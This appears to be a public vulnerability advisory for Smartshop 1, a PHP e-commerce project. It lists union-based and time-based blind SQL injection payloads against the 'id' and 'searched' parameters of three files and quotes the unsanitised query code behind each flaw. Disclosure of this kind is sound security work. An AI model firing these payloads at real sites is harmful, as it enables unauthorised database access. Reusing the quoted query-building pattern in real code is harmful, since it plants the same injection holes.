Smartshop 1 – ‘id’ SQL Injection
# Exploit Title: Smartshop 1 - SQL Injection # Date: 2018-06-02 # Exploit Author: L0RD or borna.nematzadeh123@gmail.com # Software Link: https://github.com/smakosh/Smartshop/archive/master.zip # Vendor Homepage: https://www.behance.net/gallery/49080415/Smartshop-Free-e-commerce-website # Version: 1 # Tested on: Kali linux ================================================= # Description : Smartshop 1 suffers from sql injection which attacker can inject sql commands . ================================================= # POC : SQLi # vulnerable files : [ category.php , product.php , search.php ] 1) category.php : # Parameter : id # Type : Union based # Payload : ' UNION SELECT 1,user(),3,4,5%23 # Vulnerable code : $id_category =$_GET['id']; $start = ($page > 1) ? ($page * $perpage) - $perpage : 0; $queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture, thumbnail FROM product WHERE id_category = '{$id_category}' ORDER BY id DESC LIMIT {$start}, 16"; $result = $connection->query($queryproduct); ================================================= 2) product.php : # Parameter : id # Type : Union based # Payload : ' UNION SELECT 1,user(),database(),4,5,6%23 # Vulnerable code : $id_product =$_GET['id']; $queryproduct = "SELECT id, name, price, description, id_picture, thumbnail FROM product WHERE id = '{$id_product}'"; $result1 = $connection->query($queryproduct); ================================================= 3) search.php : # Parameter : searched # Type : Time-based blind # Payload : ' AND SLEEP(10)%23 # Vulnerable code : $word = $_GET['searched']; $queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture, thumbnail FROM product WHERE name LIKE '%{$word}%' ORDER BY id DESC LIMIT {$start}, 16"; $result = $connection->query($queryproduct); ================================================= |